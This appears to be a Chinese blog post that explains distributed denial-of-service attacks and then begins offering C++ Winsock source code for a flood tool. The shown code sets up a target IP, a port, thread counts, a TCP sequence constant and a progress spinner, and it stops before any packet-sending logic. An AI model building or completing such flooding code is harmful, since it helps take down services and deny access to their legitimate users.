VC++实现DDos

本文介绍了DDoS(分布式拒绝服务)攻击的概念,它通过利用客户端/服务器技术,协调多台计算机发起攻击,增强DoS攻击的影响力。DDoS攻击的主要目标是消耗服务资源,导致合法用户无法正常访问。随着技术发展,针对DoS攻击的防御能力也在提升。文章最后,作者提及将通过VC++代码展示DDoS攻击的实现。
摘要由CSDN通过智能技术生成

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
分布式拒绝服务攻击英文缩写即"Ddos"。DdoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的
  网络攻击中国“最受害”
服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。DdoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。



下面我们实现之,看代码

#include <winsock2.h>
#include <Ws2tcpip.h> 
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839

int threadnum,maxthread,port;
char *DestIP;//目标IP

void display(void)  // 定义状态提示函数 
{ 
	static int play=0;
// 进度条 
char *plays[12]= 
{ 
" | ", 
 " / ", 
 " - ", 
 " \\ ",
 " | ", 
 " / ", 
 " - ", 
 " \\ ", 
 " | ", 
 " / ", 
 " - ", 
 " \\ ", 
}; 

printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
} 

//定义一个tcphdr结构来存
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